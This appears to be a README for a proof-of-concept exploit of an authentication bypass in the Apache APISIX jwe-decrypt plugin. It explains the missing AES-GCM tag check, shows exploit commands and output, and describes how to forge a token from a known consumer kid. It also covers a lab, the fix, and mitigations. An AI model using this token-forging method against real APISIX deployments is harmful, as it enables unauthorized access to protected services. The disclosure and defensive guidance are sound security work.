
PoC for CVE-2026-49230: Apache APISIX jwe-decrypt authentication bypass (missing AES-GCM tag validation, CWE-354, CVSS 9.1)
jwe-decrypt Authentication BypassProof of concept for an authentication bypass in the Apache APISIX jwe-decrypt
plugin. The plugin decrypts a JWE token and forwards its plaintext to the
upstream, acting as an authentication gate — but it never validates the
AES-GCM authentication tag. A token that merely carries a valid consumer
kid is accepted no matter how bogus its ciphertext and tag are, so an attacker
who knows any consumer key — which travels in cleartext in the header of every
legitimate token — passes the gate without knowing the AES secret.
| CVE | CVE-2026-49230 |
| Product | Apache APISIX (jwe-decrypt plugin) |
| Affected | 3.8.0 – 3.16.0 |
| Fixed | 3.17.0 |
| Class | CWE-354 — Improper Validation of Integrity Check Value |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Auth | Unauthenticated (needs a valid consumer kid, not the secret) |
| Published | 2026-06-19 |
| Status | CONFIRMED — reproduced end-to-end on 3.16.0; rejected on 3.17.0 |
apisix/plugins/jwe-decrypt.lua (tag 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt() returns nil when the GCM authentication tag does not match,
but that return value is discarded and the caller inspects a non-existent err,
which is always nil. The integrity check is therefore never enforced: any JWE
with a resolvable kid is authenticated. The AES secret — the only thing an
attacker is not supposed to have — is never actually needed.
The fix in 3.17.0 propagates the error (return decrypted, err) and switches
the guard to if not plaintext then return 400. The same fix also removes the
plugin's public GET /apisix/plugin/jwe/encrypt token-minting API.
See ANALYSIS.md for the full code-level walkthrough.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
The forged token is base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. Only the header (with a valid kid) matters; everything after it
is attacker-chosen junk.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
This environment has no Docker bridge, so the lab uses --network host
(etcd on :2379, APISIX data plane :9080, admin :9180, backend :8080).
| Request | 3.16.0 (vulnerable) | 3.17.0 (patched) |
|---|---|---|
| no token | 403 missing JWE token | — |
| malformed token (<5 parts) | 400 JWE token invalid | — |
invalid kid + garbage crypto | 400 invalid kid | — |
valid kid + garbage crypto | 200 upstream reached | 400 failed to decrypt |
Every control except the GCM integrity check is enforced, and the identical
forged token flips from 200 to 400 across the fix boundary — the bypass is
specifically the missing integrity validation, not a misconfigured route. Full
transcript in EVIDENCE.txt.
Any upstream that trusts APISIX's jwe-decrypt gate for authentication can be
reached by an unauthenticated attacker who possesses a single valid consumer
kid. Because a valid kid is exposed in cleartext inside the JWE header of
every legitimately issued token, one captured or leaked token — or a guessable
consumer key — is enough to forge unlimited accepted tokens and bypass the
gateway's authentication boundary.
jwe-decrypt as the sole authentication control;
layer an independent auth plugin (e.g. key-auth/jwt-auth) or an upstream
check that validates the forwarded identity.Requests that authenticate through jwe-decrypt yet forward an empty/absent
identity header to the upstream (decryption silently produced nil) are a
strong signal. Watch for Authorization: Bearer <jwe> requests that pass the
gateway while the upstream receives no usable forwarded header.
Research and PoC by Caio Fabrício (@BiiTts).
MIT — see LICENSE.